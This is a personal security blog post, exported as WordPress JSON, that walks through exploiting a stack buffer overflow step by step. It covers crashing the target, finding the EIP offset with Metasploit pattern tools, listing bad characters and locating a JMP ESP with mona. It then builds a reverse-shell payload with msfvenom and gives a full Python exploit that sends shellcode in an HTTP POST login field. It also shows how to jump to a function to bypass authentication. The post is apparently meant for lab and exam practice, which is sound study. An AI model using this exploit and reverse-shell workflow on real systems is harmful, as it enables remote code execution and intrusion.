{"id":356,"date":"2019-09-05T20:04:18","date_gmt":"2019-09-05T18:04:18","guid":{"rendered":"https:\/\/privat.andreas-klingler.de\/itsec\/?p=356"},"modified":"2023-12-20T19:27:18","modified_gmt":"2023-12-20T18:27:18","slug":"buffer-overflow","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=356","title":{"rendered":"Buffer Overflow"},"content":{"rendered":"\n

Use the bof1_web.py or bof1_socket.py to start.<\/p>\n\n\n\n

  1. Use bof1_socket_10.py to deter\u00admine the posi\u00adtion of the EIP<\/span>.<\/li>
  2. Use bof2_socket_20.py with the found EIP<\/span> off\u00adset to ver\u00adi\u00adfy that the EIP<\/span> was over\u00adwrit\u00adten with B\u2019s.<\/li>
  3. Use bof3_socket_10.py with the found EIP<\/span> and find all bad chars.<\/li>
  4. Find with Mona a JMP<\/span> address.<\/li>
  5. Cre\u00adate pay\u00adload, add it and \u20acprof\u00adit.<\/li><\/ol>\n\n\n\n

    0. Confirm vulnerability<\/h2>\n\n\n\n
    1. Down\u00adload and exe\u00adcute the tar\u00adget pro\u00adgram and attach a debug\u00adger to it.<\/li>
    2. Use a script like web_fuzzer.py<\/a> to crash it with an access violation.<\/li><\/ol>\n\n\n\n

      1. Determine the position of the EIP<\/span><\/h2>\n\n\n\n
      1. Start the appli\u00adca\u00adtion in a debug\u00adging session.<\/li>
      2. Cre\u00adate an input string 
        \/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_create.rb -l 4096<\/pre><\/li>
      3. Insert this input string into the appli\u00adca\u00adtion (use bof1.py<\/a>).<\/li>
      4. The appli\u00adca\u00adtion should stop now. Note the address to which the EIP<\/span> points now. 
        1. Note: When using edb in Lin\u00adux, at the crash time, not the EIP<\/span> but the error mes\u00adsage shows the actu\u00adal val\u00adue to which the EIP<\/span> points now!
          <\/a> <\/li>
        2. If the pro\u00adgram does\u00adn\u2019t crash \u2014 maybe there is a guard which checks the length of the pay\u00adload before and does\u00adn\u2019t exe\u00adcute the prob\u00adlem\u00adat\u00adic func\u00adtion? Try to change the pay\u00adload size.<\/li><\/ol><\/li>
        3. Cal\u00adcu\u00adlate the posi\u00adtion of the EIP<\/span> val\u00adue. E.g. if the EIP<\/span> is 0x39794338 <\/strong>now, cal\u00adcu\u00adlate the posi\u00adtion with 
          \/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_offset.rb -l 4096 -q 39794338<\/strong> [*] Exact match at offset 2306<\/strong><\/pre> <\/li>
        4. Gen\u00ader\u00adate now a new pay\u00adload with the goal to set the EIP<\/span> to a defined val\u00adue. Use the fol\u00adlow\u00ading script and set the prop\u00ader val\u00adue for A. 
          python -c 'print (\"A\" * 2306<\/strong>) + (\"B\" * 4) + (\"C\" * 16) + (\"D\" * 1500)' A: filler B: EIP C: Offset D: buffer for shellcode<\/pre> <\/li>
        5. Insert the new payload.<\/li>
        6. The pro\u00adgram should stop so that the EIP<\/span> now points at 0x42424242<\/code>.<\/li><\/ol>\n\n\n\n
          Extra: Directly call another function within the program from there.<\/h3>\n\n\n\n
          Assume, there is func\u00adtion in the pro\u00adgram you saw while dis\u00adas\u00adsem\u00adbling. You want to exe\u00adcute this func\u00adtion (e.g. to release some infor\u00adma\u00adtion to cir\u00adcum\u00advent authentication\/authorisation).<\/p>\n\n\n\n
          1. We want to call the func\u00adtion granted:
            <\/li>
          2. Use this pay\u00adload to exe\u00adcute the func\u00adtion direct\u00adly:
            python -c 'print (\"A\" * 2306<\/strong>) + (\"\\xc0\\x85\\x04\\x08\")' <\/pre><\/li>
          3. Note that the func\u00adtion will be exe\u00adcut\u00aded, but the process will prob\u00ada\u00adbly crash because we did\u00adn\u2019t per\u00adformed the func\u00adtion pro\u00adlog cor\u00adrect\u00adly and by return\u00ading to the caller, the stack is messed up. To pre\u00advent this, add the exit adress direct\u00adly after the added adress so that the process will after the new func\u00adtion direct\u00adly go to the exit of the pro\u00adgram with\u00adout crash\u00ading (hope\u00adful\u00adly). You can find out the exit address e.g. by using objdump\/readelf or via gdb with the p exit<\/code> com\u00admand. Example:
            <\/li><\/ol>\n\n\n\n
            2. Determine bad characters<\/h2>\n\n\n\n
            1. Uncom\u00adment the bad char\u00adac\u00adters block in the script and remove the old input buffer block.<\/li>
            2. Analyse the mem\u00ado\u00adry and note which char\u00adac\u00adters are break\u00ading the mem\u00ado\u00adry. Note them all down until the whole remain\u00ading bad char\u00adac\u00adter block was writ\u00adten into the memory.
              1. E.g. assum\u00ading the following
                <\/li>
              2. Here, 51 is a bad char\u00adac\u00adter. Now, repeat by exe\u00adcut\u00ading the script above again, but remove the \\x51.<\/li>
              3. And repeat\u2026 until all char\u00adac\u00adters until \\xff are there.<\/li>
              4. Atten\u00adtion<\/strong>: If the buffer is too small, maybe there is no space for all char\u00adac\u00adters and the input will stop at some point with\u00adout the pres\u00adence of a bad character!<\/li><\/ol><\/li><\/ol>\n\n\n\n
                3. Find a return address<\/h2>\n\n\n\n
                1. Find a return address to which we want to point the EIP<\/span>. This should be a sta\u00adt\u00adic address in the mem\u00ado\u00adry. In Immu\u00adni\u00adty, type 
                  !mona modules -o<\/pre> to list only mod\u00adules which are not from the os. Omitt the \u2011o flag to see all references.<\/li>
                2. Find an entry which has not enabled any pro\u00adtec\u00adtive tech\u00adnique and which address does\u00adn\u2019t start with 00 or any bad character.
                  <\/li>
                3. Search now in the choosen library\/executeable for a posi\u00adtion of a jump state\u00adment to ESP<\/span>. 
                  1. For x86, the state\u00adment JMP<\/span> ESP<\/span> = FFE4<\/span><\/li>
                  2. In Immu\u00adni\u00adty, find these opcodes via 
                    !mona find -s \"\\xff\\xe4\" -m \"ChoosenExecuteableOrLibraryName.dll.exe<\/em>\"<\/pre>  <\/li><\/ol><\/li>
                  3. Choose one pre\u00advi\u00adous found address of a JMP<\/span> ESP<\/span> state\u00adment. Assume, 0x1120110d<\/strong> was found.<\/li><\/ol>\n\n\n\n
                    NOTE<\/span>: If mona finds mul\u00adti\u00adple address\u00ades and some with \u201cascii\u201d, use these address\u00ades first!<\/p>\n\n\n\n
                    4. Create payload<\/h2>\n\n\n\n
                    1. Cre\u00adate a pay\u00adload and add the bad char\u00adac\u00adters 
                      msfvenom -p windows\/shell_reverse_tcp LHOST=192.168.119.158 LPORT=443 -f python \u2013e x86\/shikata_ga_nai -b \"\\x00\\x0a\\x0d\\x51\"<\/pre> <\/li>
                    2. Adapt the fol\u00adlow\u00ading script and replace the pay\u00adload and the EIP<\/span>.<\/a> Note to reverse the EIP<\/span> byte order AND<\/span> to add the NOP<\/span> slide!<\/strong> <\/li><\/ol>\n\n\n\n
                      #!\/usr\/bin\/python

                      import socket
                      import time
                      import sys

                      try:
                          print \"\\n<\/em>Sending evil buffer\"
                          buf =  b\"\"
                          buf += b\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90<\/em>\"
                          buf += b\"\\x29\\xc9\\x83\\xe9\\xaf\\xe8\\xff\\xff\\xff\\xff\\xc0\\x5e\\x81<\/em>\"
                          buf += b\"\\x76\\x0e\\xa9\\xc8\\xc9\\xe8\\x83\\xee\\xfc\\xe2\\xf4\\x55\\x20<\/em>\"
                          buf += b\"\\x4b\\xe8\\xa9\\xc8\\xa9\\x61\\x4c\\xf9\\x09\\x8c\\x22\\x98\\xf9<\/em>\"
                          buf += b\"\\x63\\xfb\\xc4\\x42\\xba\\xbd\\x43\\xbb\\xc0\\xa6\\x7f\\x83\\xce<\/em>\"
                          buf += b\"\\x98\\x37\\x65\\xd4\\xc8\\xb4\\xcb\\xc4\\x89\\x09\\x06\\xe5\\xa8<\/em>\"
                          buf += b\"\\x0f\\x2b\\x1a\\xfb\\x9f\\x42\\xba\\xb9\\x43\\x83\\xd4\\x22\\x84<\/em>\"
                          buf += b\"\\xd8\\x90\\x4a\\x80\\xc8\\x39\\xf8\\x43\\x90\\xc8\\xa8\\x1b\\x42<\/em>\"
                          buf += b\"\\xa1\\xb1\\x2b\\xf3\\xa1\\x22\\xfc\\x42\\xe9\\x7f\\xf9\\x36\\x44<\/em>\"
                          buf += b\"\\x68\\x07\\xc4\\xe9\\x6e\\xf0\\x29\\x9d\\x5f\\xcb\\xb4\\x10\\x92<\/em>\"
                          buf += b\"\\xb5\\xed\\x9d\\x4d\\x90\\x42\\xb0\\x8d\\xc9\\x1a\\x8e\\x22\\xc4<\/em>\"
                          buf += b\"\\x82\\x63\\xf1\\xd4\\xc8\\x3b\\x22\\xcc\\x42\\xe9\\x79\\x41\\x8d<\/em>\"
                          buf += b\"\\xcc\\x8d\\x93\\x92\\x89\\xf0\\x92\\x98\\x17\\x49\\x97\\x96\\xb2<\/em>\"
                          buf += b\"\\x22\\xda\\x22\\x65\\xf4\\xa0\\xfa\\xda\\xa9\\xc8\\xa1\\x9f\\xda<\/em>\"
                          buf += b\"\\xfa\\x96\\xbc\\xc1\\x84\\xbe\\xce\\xae\\x37\\x1c\\x50\\x39\\xc9<\/em>\"
                          buf += b\"\\xc9\\xe8\\x80\\x0c\\x9d\\xb8\\xc1\\xe1\\x49\\x83\\xa9\\x37\\x1c<\/em>\"
                          buf += b\"\\xb8\\xf9\\x98\\x99\\xa8\\xf9\\x88\\x99\\x80\\x43\\xc7\\x16\\x08<\/em>\"
                          buf += b\"\\x56\\x1d\\x5e\\x82\\xac\\xa0\\xc3\\xe6\\xaf\\x17\\xa1\\xea\\xa9<\/em>\"
                          buf += b\"\\xc9\\x72\\x61\\x4f\\xa2\\xd9\\xbe\\xfe\\xa0\\x50\\x4d\\xdd\\xa9<\/em>\"
                          buf += b\"\\x36\\x3d\\x2c\\x08\\xbd\\xe4\\x56\\x86\\xc1\\x9d\\x45\\xa0\\x39<\/em>\"
                          buf += b\"\\x5d\\x0b\\x9e\\x36\\x3d\\xc1\\xab\\xa4\\x8c\\xa9\\x41\\x2a\\xbf<\/em>\"
                          buf += b\"\\xfe\\x9f\\xf8\\x1e\\xc3\\xda\\x90\\xbe\\x4b\\x35\\xaf\\x2f\\xed<\/em>\"
                          buf += b\"\\xec\\xf5\\xe9\\xa8\\x45\\x8d\\xcc\\xb9\\x0e\\xc9\\xac\\xfd\\x98<\/em>\"
                          buf += b\"\\x9f\\xbe\\xff\\x8e\\x9f\\xa6\\xff\\x9e\\x9a\\xbe\\xc1\\xb1\\x05<\/em>\"
                          buf += b\"\\xd7\\x2f\\x37\\x1c\\x61\\x49\\x86\\x9f\\xae\\x56\\xf8\\xa1\\xe0<\/em>\"
                          buf += b\"\\x2e\\xd5\\xa9\\x17\\x7c\\x73\\x39\\x5d\\x0b\\x9e\\xa1\\x4e\\x3c<\/em>\"
                          buf += b\"\\x75\\x54\\x17\\x7c\\xf4\\xcf\\x94\\xa3\\x48\\x32\\x08\\xdc\\xcd<\/em>\"
                          buf += b\"\\x72\\xaf\\xba\\xba\\xa6\\x82\\xa9\\x9b\\x36\\x3d<\/em>\"

                          eip = \"\\x83\\x0c\\x09\\x10<\/em>\"
                          inputBuffer = (\"A\" * 760<\/em>) + eip + (\"C\" * 16<\/em>) + buf
                          content = \"username=\" + inputBuffer + \"&password=A\"

                          buffer = \"POST \/login HTTP\/1.1\\r\\n<\/em>\"
                          buffer += \"Host: 10.10.63.37\\r\\n<\/em>\"
                          buffer += \"User-Agent: Mozilla\/5.0 (X11; Linux_86_64; rv:52.0) Gecko\/20100101 Fire\\r\\n<\/em>\"
                          buffer += \"Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\\r\\n<\/em>\"
                          buffer += \"Connection: close\\r\\n<\/em>\"
                          buffer += \"Content-Type: application\/x-www-form-urlencoded\\r\\n<\/em>\"
                          buffer += \"Content-Length: \"+str(len(content))+\"\\r\\n<\/em>\"
                          buffer += \"\\r\\n<\/em>\"
                          buffer += content

                          s = socket.socket (socket.AF_INET<\/em>, socket.SOCK_STREAM<\/em>)
                          s.connect((\"10.10.63.37\", 8899<\/em>))
                          s.send(buffer)
                          s.close()

                      except:
                          print \"\\n<\/em>Could not connect!\"
                          sys.exit()<\/pre>\n\n\n\n
                      5. Execute<\/h2>\n\n\n\n
                      1. Open a nc listener.<\/li>
                      2. Prof\u00adit.<\/li><\/ol>\n\n\n\n
                        Notes<\/h2>\n\n\n\n